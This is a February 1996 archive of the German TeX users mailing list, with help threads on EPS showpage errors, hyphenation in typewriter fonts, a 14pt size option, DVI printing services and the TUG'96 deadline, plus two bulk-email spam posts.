moveto 330.789 397.212 lineto 315.496 403.707 moveto 308.794 397.041 lineto 576.221 262.081 moveto 576.221 262.081 618.662 264.094 641.831 239.907 645.726 189.518 curveto 576.221 262.081 moveto 576.221 262.081 534.991 260.126 508.935 214.331 502.579 161.969 curveto 576.221 262.081 moveto 576.221 262.081 607.883 255.743 626.003 207.292 628.677 154.388 curveto 519.628 197.1 moveto 519.628 197.1 524.763 246.945 543.628 268.606 576.221 262.081 curveto 645.726 189.519 moveto 645.726 189.519 686.704 168.977 628.677 154.388 curveto 628.677 154.388 moveto 628.677 154.388 558.935 144.387 502.579 161.969 curveto 519.628 197.1 moveto 519.628 197.1 589.371 207.1 645.727 189.518 curveto 519.628 197.1 moveto 519.628 197.1 461.601 182.511 502.579 161.969 curveto 598.989 388.974 moveto 598.989 388.974 607.912 389.997 609.188 398.558 curveto 598.989 388.974 moveto 598.989 388.974 590.115 390.013 589.249 398.576 curveto 599.448 408.16 moveto 599.448 408.16 608.322 407.122 609.188 398.558 curveto 599.448 408.16 moveto 599.448 408.16 590.525 407.138 589.249 398.576 curveto 630.909 364.232 moveto 630.909 364.232 582.053 376.587 532.754 368.145 481.139 358.767 curveto 385.258 180.493 moveto 385.258 180.493 336.402 192.848 287.103 184.406 235.488 175.028 curveto 321.572 401.178 moveto 321.572 401.178 328.695 403.575 329.754 412.302 curveto 321.572 401.178 moveto 321.572 401.178 314.498 400.843 313.849 409.241 curveto 322.031 420.364 moveto 322.031 420.364 329.105 420.7 329.754 412.302 curveto 322.031 420.364 moveto 322.031 420.364 314.908 417.968 313.849 409.241 curveto 339.254 387.536 moveto 339.254 387.536 301.638 392.865 262.271 376.842 219.83 359.001 curveto 339.254 387.536 moveto 339.254 387.536 365.064 401.092 381.577 385.559 400.262 381.583 curveto stroke gsave gsave gsave gsave /button { 0.3 0.3 scale 0 15 moveto 180 15 lineto 0 15 moveto 0 130 lineto 0 130 moveto 180 130 lineto 180 130 moveto 180 15 lineto stroke newpath 0.1 setgray 38.4192 53.5704 moveto 38.4192 70.0399 51.77 83.3907 68.2396 83.3907 curveto 84.7091 83.3907 98.0599 70.0399 98.0599 53.5704 curveto 98.0599 37.1008 84.7091 23.75 68.2396 23.75 curveto 51.77 23.75 38.4192 37.1008 38.4192 53.5704 curveto closepath fill 0.5 setgray 96.375 64.375 moveto 97.459 61.6126 97.313 58.8345 96.0935 56.8828 curveto 92.8645 51.7154 81.9644 52.7021 71.747 59.0866 curveto 61.5296 65.4712 55.8645 74.8356 59.0935 80.003 curveto 60.2322 81.8253 63.125 83.5 68.4895 83.6595 curveto 73.375 83.625 80.2566 82.7901 86.875 77.375 curveto 92.375 72.875 95.75 66.75 96.375 64.375 curveto closepath fill newpath 0.0 setgray 126.8965 92.5585 moveto 126.8965 98.6349 131.8223 103.5607 137.8988 103.5607 curveto 143.9752 103.5607 148.901 98.6349 148.901 92.5585 curveto 148.901 86.482 143.9752 81.5563 137.8988 81.5563 curveto 131.8223 81.5563 126.8965 86.482 126.8965 92.5585 curveto closepath stroke 137.8988 81.5563 moveto 137.4548 58.1505 lineto closepath stroke 132.3977 83.0302 moveto 120.4469 63.8198 lineto closepath stroke 128.3706 87.0572 moveto 109.1083 75.1584 lineto closepath stroke 126.8965 92.5583 moveto 106.2737 92.1662 lineto closepath stroke 128.3705 98.0594 moveto 109.1083 109.1741 lineto closepath stroke 132.3975 102.0865 moveto 121.8129 120.4194 lineto closepath stroke 137.8986 103.5606 moveto 137.4548 126.182 lineto closepath stroke 143.3997 102.0867 moveto 154.4626 120.5127 lineto closepath stroke 147.4269 98.0596 moveto 165.8012 109.1741 lineto closepath stroke 148.9011 92.5585 moveto 170.0703 92.5588 lineto closepath stroke 147.4271 87.0573 moveto 165.8012 77.993 lineto closepath stroke 143.4001 83.0301 moveto 154.4626 63.8198 lineto closepath stroke 0.0000 27.2415 moveto 0.0000 27.4746 lineto 7.5936 28.3674 17.8895 28.9128 29.1997 28.9128 curveto 53.0824 28.9128 72.4426 26.481 72.4426 23.4813 curveto 72.4426 20.4815 53.0824 18.0498 29.1997 18.0498 curveto 17.9055 18.0498 7.6228 18.5936 -0.0794 19.4842 curveto 0.0000 27.2415 lineto closepath fill 0.9 setgray 70.1569 79.1418 moveto 71.9816 82.0619 78.3345 81.3836 84.3467 77.6267 curveto 90.3589 73.8699 93.7535 68.4573 91.9288 65.5372 curveto 90.1041 62.6171 83.7513 63.2954 77.739 67.0523 curveto 71.7268 70.8091 68.3322 76.2217 70.1569 79.1418 curveto closepath fill stroke grestore clear showpage } def 150 240 translate button %455 450 translate button %150 450 translate button %455 240 translate button From owner-tex-d-l@VM.GMD.DE Thu Feb 15 10:45:48 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bruno Woehrer Date: Thu, 15 Feb 1996 09:39:40 MEZ Subject: Re: Postscript-Fehlermeldung > > Liebe TEX-Kollegen, > > kennt sich von Euch zufaellig jemand gut aus mit Postscript? > Ich moechte eine Datei einbinden in ein Latex-Dokument. > Wenn, ich die Datei stand-alone ansehe fehlen mir die drei letzten > tranlate-Befehle. Wenn ich sie mir nach Latex-Durchlauf > ansehe, erhalte ich eine Fehlermeldung und kann damit > nichts anfangen. > > Bin fuer Tips und Hilfe dankbar! > > Heike Hering > Also bei mir l¢±t sich die Datei mit dem graphicx-Package problemlos einbinden und mit Ghostscript darstellen. Ich habe keine Ahnung, was andere Arten der Einbindung bewirken, aber das das grephic[sx]-Paket sollte ohnehin die bevorzugte Art sein. Die drei letzten translate-Befehle fehlen, da sie auskommentiert sind. W¢ren sie nicht auskommentiert, dann w¢re diese Datei keine gðltige EPS-Datei, da sie 4 Seiten enth¢lt. Mir scheint aber, da± es ohnehin nur eine Seite sein sollte, in diesem Fall darf aber der showpage-Befehl nicht innerhalb des button-Befehls aufgerufen werden. Wenn man bei der Datei die 3 Zeilen mit den translate-Befehlen aktiviert, dann passiert folgendes, da keine gðltige EPS-Datei: 1. Direktes Drucken der Datei ergibt 4 Seiten. 2. Beim Einbinden in LaTeX als EPS-Datei wird richtigerweise der showpage-Operator zu einem NULL-Operator umdefiniert, daher erscheint der Inhalt aller 4 Seiten in einem Bild. Ich hoffe hiermit ein paar sinnvolle Hinweise gegeben zu haben. MfG Bruno Wêhrer -- ------------------------------------------------------------------------------- Bruno W"ohrer Tel.: +43 1 58801 3815 Inst.f.Photogrammetrie u.Fernerkundung (E122) FAX: +43 1 5056268 Technische Universit"at Wien bwoehrer@fbgeo1.tuwien.ac.at A-1040 Wien, Gusshausstrasse 27-29 http://www.ipf.tuwien.ac.at ------------------------------------------------------------------------------- From owner-tex-d-l@VM.GMD.DE Fri Feb 16 19:26:23 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Michael Hoppe Date: Thu, 15 Feb 1996 09:45:00 GMT Subject: Re: Postscript-Fehlermeldung On <14.02.96> in article <199602141756.SAA01086@heike.hnv.icem.de>, TEX-D-L@VM.GMD.DE (Heike Hering (hhe@ICEM.DE)) wrote: HHH>Wenn, ich die Datei stand-alone ansehe fehlen mir die drei letzten HHH>tranlate-Befehle. Wenn ich sie mir nach Latex-Durchlauf ansehe, HHH>erhalte ich eine Fehlermeldung und kann damit nichts anfangen. Sowohl Ghostscript als auch ein ,,richtiger`` PS-Drucker hatten mit Deiner Datei keinerlei Probleme. Michael -= Michael Hoppe =------------------------ -= Key fingerprint = 74 FD 0A E3 8B 2A 79 82 25 D0 AD 2B 75 6A AE 63 -= PGP public key available on request. =--------------------------- From owner-tex-d-l@VM.GMD.DE Thu Feb 15 14:11:30 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Ulf Niemeyer Date: Thu, 15 Feb 1996 14:10:51 +0100 Subject: (keine) Trennung mit \ttfamily Hallo! Das subject sagt es eigentlich schon. Ich _muss_ einen Text in nichtproportionaler Schrift setzen, was ich durch ein vorangestelltes \ttfamily bewirke (oder ueber \rmdefault et al). Leider trennt TeX daraufhin nicht mehr. Erklaerungen / Loesungsvorschlaege ? Gruss Ulf From owner-tex-d-l@VM.GMD.DE Thu Feb 15 19:08:08 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Jens Schmidt Date: Thu, 15 Feb 1996 18:43:14 +0100 Subject: Re: (keine) Trennung mit \ttfamily > Ich _muss_ einen Text in nichtproportionaler Schrift setzen, > was ich durch ein vorangestelltes \ttfamily bewirke (oder ueber > \rmdefault et al). > Leider trennt TeX daraufhin nicht mehr. > > Erklaerungen / Loesungsvorschlaege ? Das ist eine Eigenschaft der TT-Fonts. Getrennt wird von TeX nur, wenn der \hyphenchar des Font nicht 0 ist. Loesungen: - Einen anderen Font benutzen, z.B. cmvtt oder mit PostScript Courier - Den \hyphenchar aendern. Leider ist das nur bei Ragged-Right sinnvoll, weil bei cmtt die Wortzwischenraeume im Gegensatz zu cmvtt eine konstante Breite haben. Zur Aenderung des \hyphenchar gibt es drei einfache Moeglichkeiten: o Mit METAFONT: In den Quellen den \hyphenchar aendern (und natuerlich den Fontnamen, den Dateinamen, ...) o Einen virtuellen Font erzeugen. o in TeX: \hyphenchar\font=`\- ------------------------------------------------------------------------------- Jens Schmidt Ph/FAX: +49-40-881 31 18 (CET) ICBM: 53.5N 10.0E jms@jsds.hamburg.com Schwartenkamp 5 22763 Hamburg / Germany From owner-tex-d-l@VM.GMD.DE Thu Feb 15 21:12:53 1996 Mime-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Transfer-Encoding: 7BIT Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "J%org Knappen, Mainz" Date: Thu, 15 Feb 1996 20:55:15 +0100 Subject: Re: (keine) Trennung mit \ttfamily Leider enthielt das vorige Posting einige Fehlinformationen. * Der \hyphenchar wird mit einem TeX-Befehl gesetzt, er ist nicht in den Fonts (ob METAFONT oder virtuell oder was auch immer) verdrahtet. * LaTeX (nicht aber plain TeX) setzt den hyphenchar auf -1 f"ur cmtt (und m. W. auch f"ur andere tt-Fonts), so da"s keine Trennung stattfindet. * Abhilfe: F"ur LaTeX 2.09 gab es tthyphen.sty, welches die Setzung des Hyphenchar r"uckg"angig machte. Etwas "Ahnliches l"a"st sich in LaTeX2e leicht erzielen (Skizze): + Mer nehme {T1,OT1]cmtt.fd und benenne es in tthyphen.sty um. + Dann ediere mer tthyphen.sty, so da"s \hyphenchar *nicht mehr* gesetzt wird. + \usepackage{tthyphen} --J"org Knappen From owner-tex-d-l@VM.GMD.DE Fri Feb 16 12:59:26 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Fri, 16 Feb 1996 09:10:44 +0100 Subject: Re: Announcing TUG'96 in Dubna (Russia) July 28-Aug 2 1996 Walter Obermiller schreibt: : Die "gute" Organisation eines internationalen Meetings erkennt man : z.B. daran: Heutiges Datum: : 13 Februar 1996 : : > Date: Wed, 7 Feb 1996 00:44:11 +0100 : ^^^^^^^^^^^^^^^^^^^^^^^^^ : > From: Michel Goossens : > Subject: Announcing TUG'96 in Dubna (Russia) July 28-Aug 2 1996 : [..... viel Werbe-Blabla .....] : : > Datelines : > Submission of abstracts February 20 <<<<<<< : ^^^^^^^^^^^^^^^^^^^^^ : [.... viel text geloescht ] : : Uebersetzt bedeutet das fuer mich: Wir wollen eure Abstracts nicht, : deshalb lassen wir euch auch NUR 7 Tage um einen zu schreiben. Walter, du tust der Organisation hier schon etwas unrecht. Jeder (der etwas laenger in der TeX-Welt seine Augen aufsperrte) weiss, dass die TUG einmal im Jahr eine Tagung veranstaltet und die Abstracts fuer diese auch immer so um diesen Dreh 'rum, also im Februar, spaetestens Maerz faellig werden. Eine Ankuendigung der TUG96 war auf der Rueckseite im letzten(?) TeX and TUG News, das jedes TUG-Mitglied erhaelt. Ausserdem kann man den Termin fuer die TUG96 schon seit laengerem (= einige Monate) im Terminkalender auf http://www.dante.de/ und in der TeXnischen Komoedie ersehen. Du und andere, die ein Paper einreichen wollen, hatten also schon genuegend Zeit, ein Abstract vorzubereiten. Was man nun den Organisatoren vorwerfen kann, ist, dass die obige erste offizielle Ankuendigung, die _konkrete Termine_ fuer Papers und Abstracts nennt, fuer eine Tagung wie die TUG96 __sehr__ spaet kommt und nur wenig Zeit zur ersten Deadline laesst... man also bei anderer momentaner Beschaeftigung (Urlaub, Dienstreise, u.ae.) sehr leicht diese Deadline verpassen kann. Dies ist bei einigen Tagungen/ Konferenzen zwar auch gang und gaebe, jedoch bei Tagungen wie den TUG-Tagungen eher kontraproduktiv, sprich abschreckend -- was Walter wohl implizit ausdruecken wollte. (Dass die Ankuendigung in TeX-D-L dann mit einer weiteren Verspaetung von einer Woche erscheint, liegt nur daran, dass Michel Goossens die Ankuendigung in verschiedene, selbst "exotischere" Listen gepostet hat, TeX-D-L und einige andere TeX-Listen aber dabei wohl uebersehen hat. Luzia hat dies dann als Service fuer die Leser von TeX-D-L nachgeholt, jedoch erst eine Woche spaeter, als sie wieder aus ihrem wohlverdienten Urlaub zurueck war.) : Ich hatte (vor langer Zeit) mal gedacht dasz die TUG ein Conference : Planning Committee haette aber ich musz mich getaeuscht haben. Walter, du warst doch selbst im Conference Planning Committee und muesstest es daher besser wissen, da sich dort wohl seit deinem Verlassen des Komitees nicht allzuviel veraendert haben duerfte. Ausserdem solltest du dich besser direkt beim Organisations- und Programmkomitee der Tagung beschweren. Gruesse, -bernd PS: Zur Erinnerung: DANTE '96 und 14. Mitgliederversammlung 27.-29. Maerz 1996 Rechenzentrum der Universitaet Augsburg 86159 Augsburg Kontakt: Gerhard Wilhelms (dante96@uni-augsburg.de) oder DANTE e.V. (dante@dante.de) Infos: http://www.math.uni-augsburg.de/~wilhelms/dante96/ _______________________________________________________________________ Bernd Raichle Email: raichle@Informatik.Uni-Stuttgart.de Institut fuer Informatik Abteilung Intelligente Systeme | "Le langage est source Universitaet Stuttgart, Breitwiesenstr. 20-22 | de malentendus" 70565 Stuttgart-Vaihingen, FRG | (A. de Saint-Exupery) From owner-tex-d-l@VM.GMD.DE Fri Feb 16 13:13:47 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Ulf Niemeyer Date: Fri, 16 Feb 1996 09:30:40 +0100 Subject: Re: (keine) Trennung mit \ttfamily Hallo, vielen Dank allerseits fuer die Hinweise; der Henkel die Sache anzufassen war tatsaechlich \DeclareFontFamily. Ich bin der Empfehlung gefolgt aus T1cmtt.fd ein tthyphen.sty abzuleiten, dessen Kern nun folgendermaszen aussieht: \providecommand{\EC@ttfamily}[5]{% \DeclareFontShape{#1}{#2}{#3}{#4} {<5><6><7><8>#50800 % <9><10><10.95><12><14.4><17.28><20.74><24.88> genb * #5}{}} <9>#50900 <10>#51000 <10.95>#51095 <12>#51200 <14.4>#5 1440 <17.28>#51728 <20.74>#52074 <24.88>#52488}{}} \DeclareFontFamily{T1}{cmtt}{} \EC@ttfamily{T1}{cmtt}{m}{n} {dctt} \EC@ttfamily{T1}{cmtt}{m}{sl} {dcst} \EC@ttfamily{T1}{cmtt}{m}{it} {dcit} \EC@ttfamily{T1}{cmtt}{m}{sc} {dctc} Wie euch sicherlich auffaellt ist die urspruegliche Zeile mit 'genb' auskommentiert, die Verweise sind einzeln aufgefuehrt. Das ist aus dem Grund geschehen, weil in der 'genb'-Variante der entsprechende Font nicht aufgefunden werden konnte. Koennte es sein, dasz beispielsweise "<10> genb * dctt" statt des erforderlichen "dctt1000" nur "dctt10" erzeugt? -Ulf From owner-tex-d-l@VM.GMD.DE Fri Feb 16 13:30:17 1996 Mime-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=us-ascii Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Johannes Heinecke Date: Fri, 16 Feb 1996 09:46:49 0100 Subject: mf2ps wanted, to convert .mf to .ps Hello, I have been trying compiling the mf2ps package, but I failed. Either I couldn't find the right Pascal-compiler. The need mflib.a file is also missing here. Does anybody know, where I can find a compiled version of mf2ps for SunOS 4.1.4 or Solaris? Or is there a gcc-Version available? The reason for that is, that I want to convert some MF-sources into PostScript (.ps) /BuildChar routines. Would mf2ps the right tool for this undertaking anyway? Is it possible at all (I think it, is, for both deal with lines, curves, fillings etc.) Thank you very much Johannes -- Johannes Heinecke Computerlinguistik Humboldt Universit"at zu Berlin http://www.compling.hu-berlin.de/~johannes From owner-tex-d-l@VM.GMD.DE Sat Feb 17 08:13:27 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: "Stefan A. Muehlenweg" Date: Sat, 17 Feb 1996 01:13:04 +0100 Subject: Re: Postscript-Fehlermeldung Liebe Heike, > kennt sich von Euch zufaellig jemand gut aus mit Postscript? > Ich moechte eine Datei einbinden in ein Latex-Dokument. > Wenn, ich die Datei stand-alone ansehe fehlen mir die drei letzten > tranlate-Befehle. Wenn ich sie mir nach Latex-Durchlauf > ansehe, erhalte ich eine Fehlermeldung und kann damit > nichts anfangen. > > Bin fuer Tips und Hilfe dankbar! Ich kann den von Dir beschriebenen Fehler leider nicht reproduzieren (LateX 2e 1995/12/01, aktuelles "graphics"-Package, dvipsk-5.58 und Aladdin ghostscript 3.53). Es laeuft alles fehlerfrei. Ich nehme allerdings an, dass Du den "button" viermal haben moechtest, in jedem Teilbild einmal und nur links unten durchgestrichen. ?? Dafuer ist es natuerlich unumgaenglich, das "showpage" aus dem Makro "button" zu entfernen und an's Ende Deiner PostScript-Datei zu setzen. Sonst handelt es sich ausserdem auch nicht mehr um EPS und duerfte auch nicht als solches in der ersten Zeile deklariert sein, es wuerden sich naemlich vier Seiten ergeben, auf den Seiten 2--4 mit jeweils nur einem in der Luft haengenden "button". Du hast ja die drei letzten "translate ..." schon auskommentiert, dadurch erscheinen die Folge-Seiten nicht einmal, es gibt aber auch nur einen "button". dvips ist das wiederum voellig egal, denn dort wird das "showpage" umdefiniert auf ein "NICHTS", so dass auch fehlerhafte "showpage"s unwirksam wuerden. Deshalb funktioniert bei mir auch alles mit Deinem PostScript-File. Waere es moeglich, dass auf Deinem System irgendein evtl. vorhandener Bug aus der von Dir benutzten Version dvips oder ghostscript wirksam wird? Tschuess, Stefan Stefan A. Muehlenweg Stefan.A.Muehlenweg@samhh.hanse.de Liliencronstr. 6 Tel. +49 (40) 677 60 97 D-22149 Hamburg, Germany XJ900F, CB250G +++++++++++++++++ If you're happy, you're successful. +++++++++++++++++++++++ From owner-tex-d-l@VM.GMD.DE Sat Feb 24 20:38:15 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: soren@DELERIUM.ENGR.ARIZONA.EDU Date: Sun, 18 Feb 1996 20:22:07 +0130 Subject: New service to Academics... Please excuse the intrusion but ....... As one Academic to another, I thought you might be interested in my new business. I have decided to open a Bulk email service to supplement my income at the University. I have spent a considerable amount of time collecting your email addresses with the thought that you might have something of value to sell on the internet. Please understand that I have been in the Academic world for many years and totally respect your privacy of your email box. However, due to budget cut backs, I am forced to diversify. I also would like to talk to anyone who is interested in becoming an AMWAY distributor. In my first month I have earned over $75.00 in extra income. Many of the students have already signed up as part of my down line! Please e mail me if I can offer you the Email service or if you would consider joining me in becoming an AMWAY distributor. Best regards Dr. Soren From owner-tex-d-l@VM.GMD.DE Sun Feb 18 20:03:29 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Sun, 18 Feb 1996 19:59:12 +0100 Subject: size14 und Verlage gesucht Hallo am Sonntag Abend ich habe da mal zwei Probleme. Ich habe die Dissertation meiner Frau von WordDefekt zu LaTeX konvertiert (und sie nun endlich davon "uberzeugt, da"s dieses "bescheuerte Programm wo man erst stundenlang warten mu"s, ehe man sieht, was man geschrieben hat" doch eigentlich sehr gut ist). Anla"s zu dieser dreit"agigen Mammutarbeit war, da"s der Verlag, bei der sie Ihre Dissertation ver"offentlichen wollte gerne eine Vrolage mit 14pt haben m"ochte, um dann bei der Verkleinerung auf A5 noch etwas lesbares zu erhalten. Au"serdem m"oglichst keine Unterstreichungen, ... , mit einem Wort alles was man so mit einem gew"ohnlichen Textprozessor falsch machen kann nicht. So das LaTeX Dokument ist so weit und nun soche ich soetwas wie "size14.clo", damit ich soetwas wie \documentclass[14pt,twoside]{report} schreiben kann. Bestimmt kann man sich das aus einer Modifikation von size1[0-2].clo basteln, aber hat das vielleicht schon jemand gemacht, der das eventuell besser kann als ich??? Ich bin doch bestimmt nicht der erste, der sein Dokument von A4 auf A5 verkleinern wollte. Ein size13.clo w"urde es zur Not auch tun. Jetzt die zweite Frage, die eigentlich noch viel mehr brennt, aber etwas vom Listen-Thema abweicht: Kennt jemand Verlage, wo mann eine Dissertation g"unstig ver"offentlichen kann??? Ohne die Dissertation meiner Frau schlecht machen zu wollen, aber sie denkt selbst, da"s das Thema so speziell ist, da"s dieses Werk von weniger Leuten gelesen werden wird, als sie abgeben mu"s. Daher m"ochten wir die Sache m"oglichst preisg"unstig machen. Kennt also jemand Verlage, die a) LaTeX-Files direkt zum Buch verarbeiten oder b) soetwas preisg"unstig (vielleicht auch auf Microfiche) machen? Vielen Dank Andreas. From owner-tex-d-l@VM.GMD.DE Sat Feb 24 20:32:28 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: soren@DELERIUM.ENGR.ARIZONA.EDU Date: Sun, 18 Feb 1996 22:46:47 +0130 Hello, My name is Bob Soren, I host the WEB page for a friend of mine. SpAmKiNg has the best Bulk email service any where. I have used his service in the past with great results! If you would be interested in the service I would be happy to broker this tremendous opportunity to get your message onto the 'NET. Please simply send a response and I will be pleased to send you complete information on this abolutely terrific service. Sincerely Yours, Bob Soren From owner-tex-d-l@VM.GMD.DE Mon Feb 19 10:19:29 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Bernd Raichle Date: Mon, 19 Feb 1996 09:33:48 +0100 Subject: Re: size14 und Verlage gesucht Andreas Tille schreibt: [...] : So das LaTeX Dokument ist so weit und nun soche ich soetwas wie : "size14.clo", damit ich soetwas wie : \documentclass[14pt,twoside]{report} : schreiben kann. : Bestimmt kann man sich das aus einer Modifikation von size1[0-2].clo : basteln, aber hat das vielleicht schon jemand gemacht, der das eventuell : besser kann als ich??? Ich bin doch bestimmt nicht der erste, der : sein Dokument von A4 auf A5 verkleinern wollte. Ein size13.clo w"urde : es zur Not auch tun. Fuer einen groesseren Antrag (500 Seiten) habe ich einfach eine Anpassung der Seite auf DIN A5 und `normale' "11pt" verwendet. Zur Korrektur erhaelt man damit genau die Zielgroesse des Dokuments (damit man auch die Seitengrenzen sieht, habe ich diese extra mit Linien markiert). Zur Erstellung der Druckvorlage hat dann ein einfaches "\mag=1414" als erste Zeile des Dokuments ausgereicht, da ich a) `dvips' und PostScript verwendet habe und b) alle Fonts als skalierbare PS-Fonts vorlagen (die CM-Schriften gibt's als PS-Fonts unter den Namen BaKoMa und Paradissa). Das Endprodukt ist in gewohnt grosser Schrift und damit sehr gut lesbar (wie es ein Antrag auch sein sollte) und der Aufwand hielt sich letztlich auch in Grenzen, da man keine Anpassungen der Schriftgroessen machen muss und keine exotischen Schriftgroessen (wenn man dann wieder alles in magstep-Schritten machen will) extra erstellen muss. Gruesse, -bernd From owner-tex-d-l@VM.GMD.DE Mon Feb 19 17:16:07 1996 Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Andreas Tille Date: Mon, 19 Feb 1996 17:08:47 +0100 Subject: Re: size14 und Verlage gesucht Hallo nochmal, Bernd Raichle schreibt: > Fuer einen groesseren Antrag (500 Seiten) habe ich einfach eine > Anpassung der Seite auf DIN A5 und dvips' und > PostScript verwendet habe und b) alle Fonts als skalierbare PS-Fonts > vorlagen (die CM-Schriften gibt's als PS-Fonts unter den Namen BaKoMa > und Paradissa). ... und wieso 11pt * 1.414 = 14pt ergeben soll ist mir auch nicht klar. Aber vielleicht wollte Bernd nur andeuten, da"s das Endprodukt mit 10pt etwas schwer lesbar ist. Dem stimme ich auch prinzipiell zu, aber in dem speziellen Fall w"are es akzeptabel. F"ur alle, die es auch mal ohne PostScript brauchen sollten, habe ich mich doch noch mal hingesetzt, um ein size14.clo zu erzeugen (mehr um etwas zu lernen, als wirklich Gebrauch davon zu machen). Der Aufwand ist gar nicht so gro"s, wenn man sich die Ausgabe von diff size11.clo size12.clo ansieht, so gibt es da nicht viele Unterschiede. Diese habe ich dann *nach Gef"uhl* (also nicht unter typographischen Gesichtspunkten, was die ganze Sache schon fragw"urdig macht) auf size14.clo "transformiert". Dann mu"s man noch in report.cls (nat"urlich eine Kopie mit anderem Namen!!!) eine Zeile hinzuf"ugen. Da"s ganze ist wohl tauglich, um sich mal einen groben "Uberblick zu verschaffen. Wei"s noch jemand was zu den Verlagen?? Gr"u"se, Andreas. From owner-tex-d-l@VM.GMD.DE Tue Feb 20 19:10:47 1996 Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Michael Hoppe Date: Mon, 19 Feb 1996 17:32:00 GMT Subject: Re: size14 und Verlage gesucht On <18.02.96> in article <199602181859.AA224649952@mlucom.urz.Uni- Halle.DE>, TEX-D-L@VM.GMD.DE (Andreas Tille (e2od5@MLUCOM.URZ.UNI- HALLE.DE)) wrote: ATE>Kennt also jemand Verlage, die ATE> a) LaTeX-Files direkt zum Buch verarbeiten oder ATE> b) soetwas preisg"unstig (vielleicht auch auf Microfiche) machen? Da haben wir doch etwas: %% drucker.tex -- Teil von OGFUDA %% \def\filename{drucker.tex} \def\filedate{29-NOV-1992} \def\fileversion{0.99b} \meldedich \section{Druckereien, die DVI-Files belichten} \begin{flushleft} J"urgen Richarz\\ Richarz Publikationsservice\\ Bahnstr.~7\\ D-5205 St.~Augustin 1\\ Tel.: 0\,22\,41 / 33\,20\,36\\ Fax: 0\,22\,41 / 33\,20\,38 \end{flushleft} \begin{flushleft} Lasersatz Thewalt\\ Kapellenweg 8\\ D-6901 Wiesenbach\\ Tel.: 0\,62\,23 / 4\,83\,14 \end{flushleft} \begin{flushleft} J"urgen Gl"ockner \\ Philipp-Schmittstr. 8b \\ D-6902 Sandhausen \\ Tel.: 0\,62\,24 / 37\,50 \end{flushleft} \begin{flushleft} R"o"sler \& Partner \\ Gesellschaft f"ur Kommunikation und Marketing mbH \\ Haidelmoosweg 52 \\ D-7750 Konstanz \\ Tel.: 0\,75\,31 / 7\,59\,71 \\ Fax: 0\,75\,31 / 7\,37\,74 \end{flushleft} \endinput Michael -= Michael Hoppe =------------------------ -= Key fingerprint = 74 FD 0A E3 8B 2A 79 82 25 D0 AD 2B 75 6A AE 63 -= PGP public key available on request. =--------------------------- From owner-tex-d-l@VM.GMD.DE Mon Feb 19 19:11:50 1996 Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Gerold Picker Date: Mon, 19 Feb 1996 18:51:45 +0100 Subject: size14: Genau das brauch ich ? At 17:10 19.02.1996 +0100, you wrote: >Hallo nochmal, > >Bernd Raichle schreibt: >> Fuer einen groesseren Antrag (500 Seiten) habe ich einfach eine >> Anpassung der Seite auf DIN A5 und dvips' und >> PostScript verwendet habe und b) alle Fonts als skalierbare PS-Fonts >> vorlagen (die CM-Schriften gibt's als PS-Fonts unter den Namen BaKoMa >> und Paradissa). >Wieso 11pt * 1.414 =3D 14pt ergeben soll ist mir auch nicht klar. >Aber vielleicht wollte Bernd nur andeuten, da"s das Endprodukt mit 10pt >etwas schwer lesbar ist. Dem stimme ich auch prinzipiell zu, aber in dem >speziellen Fall w"are es akzeptabel. > >F"ur alle, die es auch mal ohne PostScript brauchen sollten, habe ich >mich doch noch mal hingesetzt, um ein size14.clo zu erzeugen (mehr um >etwas zu lernen, als wirklich Gebrauch davon zu machen). Der Aufwand ist >gar nicht so gro"s, wenn man sich die Ausgabe von > diff size11.clo size12.clo >ansieht, so gibt es da nicht viele Unterschiede. Diese habe ich dann >*nach Gef"uhl* (also nicht unter typographischen Gesichtspunkten, was >die ganze Sache schon fragw"urdig macht) auf size14.clo "transformiert". >Dann mu"s man noch in report.cls (nat"urlich eine Kopie mit anderem >Namen!!!) eine Zeile hinzuf"ugen. Da"s ganze ist wohl tauglich, um sich >mal einen groben "Uberblick zu verschaffen. > >Wei"s noch jemand was zu den Verlagen?? > >Gr"u"se, > Andreas. > > Hallo Andreas, ich habe genau das gleiche Problem wie Bernd Raichle. F"ur meine Diss soll die Druckvorlage A4 sein, w=E4hrend das Ergebnis auf A5 gedruckt wird. Sind die von Dir erstellete size14.clo und report.cls frei zugaenglich (z.B. FTP) oder kannst Du mir eine Kopie schicken ? Das wuerde mir sehr helfen ! Chao, Gerold ******************************* Gerold Picker Institute A for Thermodynamics Technical University Munich Arcistr. 21 D-80290 Munich=20 Germany Tel.: [49]-89-2105-5176 Fax.: [49]-89-2105-3451 ******************************* From owner-tex-d-l@VM.GMD.DE Mon Feb 19 19:10:32 1996 Content-Type: text Reply-To: German TeX Users Communication List Sender: German TeX Users Communication List From: Juergen Kroener Date: Mon, 19 Feb 1996 18:53:02 +0100 Subject: alphabetisches math Hallo TeXer, sorry fuer die Fragem war glaub schon 'mal dran, finde jedoch auf die Schnelle nichts. Gibt's ein style-file fuer alphabetische Sub-Numerierung fuer Mathematik, also a = b (1) c = d (1a) f = h (1b) d = i (2) Danke schon vorab, Juergen. -- =============================================================================== JJJJJJJJ KKK KKK | Juergen 